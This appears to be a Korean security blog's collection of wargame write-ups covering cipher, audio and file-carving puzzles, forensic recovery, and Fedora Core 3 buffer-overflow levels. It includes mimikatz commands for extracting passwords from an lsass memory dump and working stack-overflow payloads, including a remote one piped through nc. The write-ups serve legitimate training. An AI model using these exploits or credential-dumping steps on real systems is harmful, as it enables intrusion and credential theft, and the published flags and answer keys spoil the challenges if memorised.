반응형
반응형
반응형

Title
I don't speak English.

Description

Serz EKW. Log sal tdl iaoi nif tpec, ouf gcpugvgag fu tuk NgsGunk sggik, qbmq 28 siyrxgl bf kuu ugkw untoneq zww tvdqu fbx waq uisnll gsvgptube fucy, “Ennstaz Yiqjr” iz zhr sdfru sutcr oi oyf ubronjtv. Uuixk tuk Hgsgh Wurrgc hcefaxmrx pfb eemrige IN hhdsk if rxlrye wtojt dmrfipk os nxk mjn ouuazgq, “Ennstaz Yiqjr” azj igy lwged, iunqkgxsylk cagiwszye hodru xk lbw m ieezxxgrd hornr war.

(ZODK: Lvyiwl: 13 Oeez Iajxw Qbnsy os Yjekrr)

Yacu uu lfr vujeb ltsrhrqy PFE gabvns gn vtkaqvbxk hbxhw ruraagu zww qgrqktf uu lfr Squuy’y Vsltnms dvyijgpt, inipn vatrs kuu n vgwrgy suoq ytfqr or zhr iaan’f tatghk-xf-aueqq vvht. (Al saoz, tuk kabro tgs fvpjird m jaait upnzq, gpgrn uyylqj “tuk xftvsuhlr ndjqr.”) “Gmtgagb ecnne, ot’f rxcc Oehkrye Wajys al Kbxts,” qnip VSL, g.z.s. Hne-Egnt Vpji, vn mt iaztjtvei cign PTA Aeiy.

“Bhz izc tuk joryc’l jbow rixk Qwtrrxe Hvrak. Bnnok dbkhf’r yoaq lvqt Tciedry Uoadq. … Nnp zhr yxlsntuun vt bmqvc hodru sgcfn’f robq aair Bqbeern Zgyle. Hug nt ccrpe yalocy G’z Bqbeern Zgyle ytlrt. Km ghmz’s gnt hmvnf. Ot’f ydjr bf m zwvyi.”

HQL’s yktrugaa eiek tb oclcenqz shvtjqgadjoz npkl’g gate htcgrvcqj bl uizce cqreoxxlgrs. Micbxsalt ta GBP Ttoq, oofn T-Cgxf yad Vusu Mggznn tgvr zlwcgep gbbai lfr sutgrx’h ngeax nig, gcv NFY’e saagvwkrnf iozvpfw plmomf zwsr Wuezia Hxwzrr tgs fndol vnfkrryi al poxraougsrvns cign izc nrfosg.

(SDJC: JAFIH: “Wkgwkl Lut Tugi A Sfep zo Xtdo” Gf a Xonfgcw Ebtkk Scudx)

NFY dklrghwb n nqc vvjtg Rheejal ldj “Mcpm Os Wahl Kl Sfelr,” ytl rb ttk “Gntvfyz Sfelr” htsr ouf lenzjjgag Teua-g dx I-cob mier vjmhp 4Yonhzt (ofb ttkie ulf tvrmr hvz laru “Bghbyk Egn!“). Vt’e g gyoirgrr, srofyxwp nnp soek bgpr cturruvjychqj vvjtg ruaz zhr ugaevnmr, bhz EKW zazggry ig ert ut a skl emiee coezwq ms a sogtrt gp gwa. Chrzwwp br zut vz lajy bq g vvxpd fvt, ikly, zwsr’f iz zhr knwq ? nnp ilvizk ? ms ttk brnddbrr.


Find the [Key]. 




치환암호, 카이사르, 비제네르 이중 하나일 것이다.


https://www.guballa.de/vigenere-solver




비제네르로 하니 풀렸다.


authkey는 디코딩에 성공한 키인데, 대문자로 해야 인증이 된다.


authkey : GANGPSYNAM



반응형

'WAR GAME > XCZ.kr' 카테고리의 다른 글

XCZ.kr [prob 6] 풀이  (0) 2018.09.09
XCZ.kr [prob 5] 풀이  (0) 2018.09.09
XCZ.kr [prob 4] 풀이  (0) 2018.09.05
XCZ.kr [prob 2] 풀이  (0) 2018.09.05
XCZ.kr [prob 1] 풀이  (0) 2018.09.05
반응형

Title
Listen Carefully!

Description
Hint1. Auth Key = Upper Case




들어보면 모스부호라는 것을 알 수 있다.

다운받아서 보면 파일명도 morse다.


모스부호 소리 파일을 디코딩해주는 사이트가 있다.  https://morsecode.scphillips.com/labs/audio-decoder-adaptive/


여기에 파일을 업로드하고 디코딩해주면 된다.



3번 돌렸다.


완벽하게 되지 않았지만 대충 key를 구할 수 있다.



authkey : MORSECoDE




반응형

'WAR GAME > XCZ.kr' 카테고리의 다른 글

XCZ.kr [prob 6] 풀이  (0) 2018.09.09
XCZ.kr [prob 5] 풀이  (0) 2018.09.09
XCZ.kr [prob 4] 풀이  (0) 2018.09.05
XCZ.kr [prob 3] 풀이  (0) 2018.09.05
XCZ.kr [prob 1] 풀이  (0) 2018.09.05
반응형

Title
End Of Image

Description



이미지 파일이 있다. 다운받아서 HxD로 열었다.



헤더 시그니처를 보니 PNG파일이다.




그런데, PNG 푸터 시그니처가 보이지 않는다.

대신에 FF D9가 보인다. FF D9는 jpeg의 푸터 시그니처 이다.





png파일과 jpeg파일이 붙어 있는 것 같다. foremost를 이용해서 파일을 분리해주었다.


foremost -i whysoserious.png





파일이 png파일 하나, jpg파일 하나로 분리되었고, jpg파일에 key가 있었다.


authkey : JOg-dragonKER



반응형

'WAR GAME > XCZ.kr' 카테고리의 다른 글

XCZ.kr [prob 6] 풀이  (0) 2018.09.09
XCZ.kr [prob 5] 풀이  (0) 2018.09.09
XCZ.kr [prob 4] 풀이  (0) 2018.09.05
XCZ.kr [prob 3] 풀이  (0) 2018.09.05
XCZ.kr [prob 2] 풀이  (0) 2018.09.05
반응형

SuNiNaTaS의 32번문제 풀이입니다. 


[FORENSIC]


경찰청으로 부터 연쇄 테러 용의자로 부터 압수한 USB 이미지 분석을 의뢰 받았다.

최초 분석을 신입 직원에게 맡겼으나 Hex Editor로 여기 저기 둘러 보다 실수로 특정 부분이 손상되고 이미지가 인식되지 않는다.


당신은 포렌식 전문가의 자존심을 걸고 이미지를 살려 내고 다음 테러를 예방하는데 기여를 해야 한다.

1. 다음 테러 계획이 들어있는 문서의 수정 일시는? (UTC+9)

2. 다음 테러 장소는?


인증키 형식 : lowercase(MD5(YYYY-MM-DD_HH:MM:SS_장소)


예) lowercase(MD5(2016-03-28_13:00:00_Pink Lake)




hex editor로 열어보면 FAT32로 포멧되어 있는 것을 알 수 있다.




표에 따르면, 0x1FE~0x1FF 범위에 부트레코드 손상여부를 확인하는 용도의 시그니처 0x55AA가 있어야 한다고 한다.

그러나 이 이미지파일에는 없다.




시그니처 위쪽으로 밀려 있다. 사이에 NULL바이트를 추가해서 올바른 위치로 밀어주었다.


1FE - 126 = D8


D8크기 만큼 추가해주면 된다.




그러면 FTK Imager에서 정상적으로 인식한다.



2차 테러 계획.hwp를 추출해서 열어보면 다음 테러 장소를 알 수 있다.

 Rose Park



파일 수정 시각은 파일 속성을 보면 된다.



2016-05-30_11:44:02




MD5(2016-05-30_11:44:02_Rose Park) == 8ce84f2f0568e3c70665167d44e53c2a


반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 31번] 풀이  (0) 2018.09.03
SuNiNaTaS [FORENSIC 30번] 풀이  (0) 2018.08.08
SuNiNaTaS [FORENSIC 29번] 풀이  (3) 2018.08.08
SuNiNaTaS [FORENSIC 28번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 27번] 풀이  (0) 2018.08.07
반응형

SuNiNaTaS의 31번문제 풀이입니다. 


[FORENSIC]


* 안내 : 본 PDF 파일은 PC에 유해한 작업을 하지 않습니다. 단순 문제 풀이용입니다.

악성코드가 첨부된 PDF를 분석하여 Flag를 찾으세요.

인증키 형식 : lowercase(MD5(Flag))



http://ex3llo.tistory.com/33 게시글을 참고해서 풀어보았습니다.




https://blog.didierstevens.com/programs/pdf-tools/ 에서 pdfid.py를 다운받았습니다.




pdfid.py를 사용해 pdf 문서 구조를 확인했다. JavaScript 코드가 있는 것을 확인할 수 있다.




이제 이 자바스크립트 코드를 확인하기 위해 peepdf.py를 사용했다. 

이 peepdf.py는 https://github.com/jesparza/peepdf 에서 다운받을 수 있습니다.


-i 옵션을 꼭 넣자.



먼저 30을 확인해 보았다.





코드가 나올 때 까지 쭉 쫓아가자..






37에서 코드가 나왔다!


코드 하단에 base64 인코딩 문자열이 있다. [따라하지 마세요!]



이 문자열을 가져다가 크롬 콘솔에 갖다 붙이고,




연결된 문자열을 가져다가 디코딩 사이트에서 디코딩을 돌렸다.



계속 하다보면 문자열이 줄어들고 있음을 알 수 있다.




...






...



으아아ㅏ아아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


다시 풀어야 겠다...







이어서 해보자.




36에는 아무것도 없다... 39에 %PDF가 보인다.


object 39에 pdf파일이 있는 것 같다. 이를 추출하기 위해 PDFStreamDumper.exe를 사용했다.

(이 프로그램을 보니 처음부터 이걸 사용했으면 되는게 아닌가 하는...읆...)



object 39을 pdf형식으로 추출했다.


pdf가 보호되어 있어서 https://smallpdf.com/unlock-pdf 이 사이트를 통해 잠금을 풀었다.



다시 PDFStreamDumper.exe 를 사용하니 object 7에서 플래그가 나왔다.





MD5(SunINatAsGOodWeLL!@#$) == 13d45a1e25471e72d2acc46f8ec46e95

반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 32번] 풀이  (0) 2018.09.04
SuNiNaTaS [FORENSIC 30번] 풀이  (0) 2018.08.08
SuNiNaTaS [FORENSIC 29번] 풀이  (3) 2018.08.08
SuNiNaTaS [FORENSIC 28번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 27번] 풀이  (0) 2018.08.07
반응형

files  Forensics  Password


system32.kr의 Password 문제 풀이입니다.



cmd.md

I lost my password…. 

Who can find password?

Make my pental




zip파일이 주어진다.



윈도우 프로세스 덤프파일로 보인다.

이 프로세스 덤프파일에서 패스워드를 찾아야 한다.


일단 어디에 있는지를 몰라서 검색해봤다.


"윈도우 패스워드 프로세스"



갓 구글.. 원하는걸 딱 보여준다.

패스워드는 lsass.exe에 있는 것 같다.

lsass.exe를 덤프한 lsass.DMP만 따로 뺐다.



mimikatz를 이용하면 윈도우 패스워드를 알 수 있다.

다운로드 링크 : https://github.com/gentilkiwi/mimikatz/releases

(그냥 다운로드 받으면 바이러스 있다고 막아버린다. 윈도우 디펜더랑 이것저것 다 꺼놔야 한다.)



lsass.DMP파일을 mimikatz.exe 경로로 옮겼다.


mimikatz.exe를 실행하고 다음 명령어를 입력해 주었다.


sekurlsa::minidump lsass.DMP


sekurlsa::logonpasswords



만약 오류가 나면 아래를 참고하자.


Some errors:

  • ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->MajorVersion (A) != MIMIKATZ_NT_MAJOR_VERSION (B)
    You try to open minidump from a Windows NT of another major version (NT5 vs NT6).
  • ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->ProcessorArchitecture (A) != PROCESSOR_ARCHITECTURE_xxx (B)
    You try to open minidump from a Windows NT of another architecture (x86 vs x64).
  • ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000002)
    The minidump file is not found (check path).
  • https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa




플래그를 구할 수 있다.


FLAG : FLAG{I_WILL_FIND_PASSWORD}




반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [RSA103] 풀이  (0) 2019.05.19
System32.kr [Cert] 풀이  (0) 2018.10.12
System32.kr [CMD] 풀이  (0) 2018.09.02
System32.kr [BigImage] 풀이  (0) 2018.08.31
System32.kr [PPT] 풀이  (3) 2018.07.29
반응형

files  Forensics  CMD


system32.kr의 CMD 문제 풀이입니다.



cmd.md

Find Flag

Make my pental




압축파일이 하나 있는데, 압축을 풀면 1GB짜리 파일이 하나 나온다.


써니나타스 30번의 문제파일이랑 형태가 거의 같은 것 같아서

메모리 덤프 파일임을 확신하고 vol.py를 쓰기 위해 파일을 리눅스로 옮겼다.


volatility 설치방법이랑 사용법은 다음 링크를 참조하자. http://mandu-mandu.tistory.com/145



먼저 시스템정보를 확인했다.


vol.py -f cmd imageinfo




Win7SP1x86 이다.


어디서 무얼 찾아야 하나 생각하다가 파일이름이 cmd라서 cmdscan을 사용해 봤다.


vol.py -f cmd --profile=Win7SP1x86 cmdscan




역시나 플래그가 있었다.


FLAG : FLAG{CMD_LINE_CAN_YOU_FIND?}

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [Cert] 풀이  (0) 2018.10.12
System32.kr [Password] 풀이  (2) 2018.09.02
System32.kr [BigImage] 풀이  (0) 2018.08.31
System32.kr [PPT] 풀이  (3) 2018.07.29
System32.kr [HardCrypto] 풀이  (0) 2018.07.29
반응형

files  Misc  BigImage


system32.kr의 BigImage 문제 풀이입니다.



BigImage.md

Can you find FLAG? 

Make my RMT




jpg파일이 하나 있다.




시공조아 시공조아 시공조아 시공조아



jpg파일인데 크기가 1MB나 된다.

아마 여러 파일들이 붙어있는 것 같다. 붙어있는 파일들을 분해(?)하기 위해서 foremost를 사용했다.







zip파일이 하나 나온다.





압축을 풀고 보니 BigImage.png파일에 플래그가 있었다.


FLAG : Flag{Th1s_Imag3_is_T00_Big}


반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [Password] 풀이  (2) 2018.09.02
System32.kr [CMD] 풀이  (0) 2018.09.02
System32.kr [PPT] 풀이  (3) 2018.07.29
System32.kr [HardCrypto] 풀이  (0) 2018.07.29
System32.kr [Easy Crypto] 풀이  (0) 2018.07.29
반응형

해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이


M4ndU




해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이입니다.


ID | dark_eyes

PW | because of you


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - hell_fire

        - Remote BOF on Fedora Core 3

        - hint : another fake ebp or got overwriting

        - port : TCP 7777

*/


#include <stdio.h>


int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];


        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);


        // give me a food

        fgets(temp, 1024, stdin);


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, temp);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 입력받은 값을 temp[1024]에 받아서 buffer[256]에 덮어쓴다. 이 문제는 remote BOF 문제라서 전 문제 풀이 방법으로는 풀 수 없다.

system함수 안에 do_system에서 execve를 호출하는 부분을 ret값으로 주면 쉘이 따와진다고 한다.


(gdb) x/12i *do_system+1119
0x75077f <do_system+1119>:      call   0x743d30 <sigprocmask>
0x750784 <do_system+1124>:      mov    0xfffffec4(%ebx),%ecx
0x75078a <do_system+1130>:      xor    %edx,%edx
0x75078c <do_system+1132>:      xor    %eax,%eax
0x75078e <do_system+1134>:      mov    %edx,0x16bc(%ebx)
0x750794 <do_system+1140>:      lea    0xffff460f(%ebx),%edx
0x75079a <do_system+1146>:      mov    (%ecx),%edi
0x75079c <do_system+1148>:      mov    %eax,0x16b8(%ebx)
0x7507a2 <do_system+1154>:      mov    %esi,0x4(%esp)
0x7507a6 <do_system+1158>:      mov    %edi,0x8(%esp)
0x7507aa <do_system+1162>:      mov    %edx,(%esp)
0x7507ad <do_system+1165>:      call   0x7a5490 <execve>


do_system+1124 는 sigprocmask함수를 call하고 난 다음명령이다. 이 주소를 리턴값으로 준다.


(python -c 'print "A"*268+"\x84\x07\x75"';cat) | nc localhost 7777


[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777

hell_fire : What's this smell?

you :

my-pass

euid = 503

sign me up



참조 : http://sangu1ne.tistory.com/7?category=39356

반응형
반응형

해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이


M4ndU




해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이입니다.


ID | iron_golem

PW | blood on the fedora


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 sfp 변조가 막혀있어 fake EBP를 사용할 수 없다.

buffer+264 다음에 sfp인 것을 보니 buffer[256]과 dummy[8]이 있는 것 같다.

그렇지만 ret주소는 변조가 가능하고, 힌트에도 RET sleding을 사용하라고 되어 있다.

이번에도 execl함수를 사용할 것이고, 매개변수로 넘길 값을 찾아야 한다.

(gdb) b *main+3
Breakpoint 1 at 0x804840b
(gdb) r
Starting program: /home/iron_golem/dark_eyes
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804840b in main ()
(gdb) x/10wx $ebp
0xfeeb59a8:     0xfeeb5a08      0x00730e33      0x00000001      0xfeeb5a34
0xfeeb59b8:     0xfeeb5a3c      0x0070eab6      0x0083eff4      0x00000000
0xfeeb59c8:     0xfeeb59c0      0xfeeb5a08
(gdb) x/wx 0x0070eab6
0x70eab6 <fixup+150>:   0x83f0558b
(gdb) x/wx 0x0083eff4
0x83eff4 <svcauthsw+712>:       0x0083ed3c


$ebp+24인 0x0083eff4가 최하위바이트가 0x00인 0x0083ed3c을 가리키고 있다.

이 값을 파일명으로하는 쉘 프로그램을 작성하고

이 파일명를 execl함수의 매개변수로 넘겨주면 된다.
execl함수는 ebp+8에 있는 값을 매개변수로 받는다.
RET를 3번 호출하면 pop을 4번하고 execl 프롤로그에서 push ebp, mov ebp esp 해서 0x0083eff4 == ebp+8 이 될 수 있다. 

페이로드 구성이 이렇게 된다.
dummy[268](sfp도 덮어야함) + RET[4] + RET[4] + RET[4] + execl()[4]



(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>


execl함수의 주소는 0x7a5720이다.


쉘 프로그램을 작성하고 0x0083ed3c을 파일명으로 컴파일 한다.

[iron_golem@Fedora_1stFloor ~]$ vi sh.c
[iron_golem@Fedora_1stFloor ~]$ cat sh.c
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
        setreuid(geteuid(),geteuid());
        setregid(getegid(),getegid());
        system("/bin/sh");
}
[iron_golem@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x3c\xed\x83"'` sh.c


이제 RET주소를 가져오자

0x080484b9 <main+177>:  ret


exploit!
./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`



[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA뫈뭐?

Segmentation fault


...안된다...



(gdb) b *main+176

Breakpoint 1 at 0x80484b8

(gdb) r `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

Starting program: /home/iron_golem/dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

(no debugging symbols found)...(no debugging symbols found)...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(l萃뭐퉬


Breakpoint 1, 0x080484b8 in main ()

(gdb) x/10wx $ebp

0xfef56bc8:     0xfef56c28      0x080484b9      0x080484b9      0x080484b9

0xfef56bd8:     0xfef56c00      0x0070eab6      0x0083eff4      0x00000000

0xfef56be8:     0xfef56be0      0xfef56c28

(gdb) x/10wx $ebp-8

0xfef56bc0:     0x41414141      0x41414141      0xfef56c28      0x080484b9

0xfef56bd0:     0x080484b9      0x080484b9      0xfef56c00      0x0070eab6

0xfef56be0:     0x0083eff4      0x00000000


메모리를 확인해보니, RET까지 잘 들어갔는데 execl함수 주소가 들어가지 않았다. \x20이 문제인거 같다.


0x7a571e <execle+270>:  nop

0x7a571f <execle+271>:  nop

0x7a5720 <execl>:       push   ebp

0x7a5721 <execl+1>:     mov    ebp,esp


execl함수주소 윗부분이 nop으로 되어있기 때문에 \x20을 \x1f로 바꾸어도 상관이 없다.

다시 exploit!
./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`



[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8

澱뭐퉉z

sh-3.00$ my-pass

euid = 502

because of you



클리어!


반응형

+ Recent posts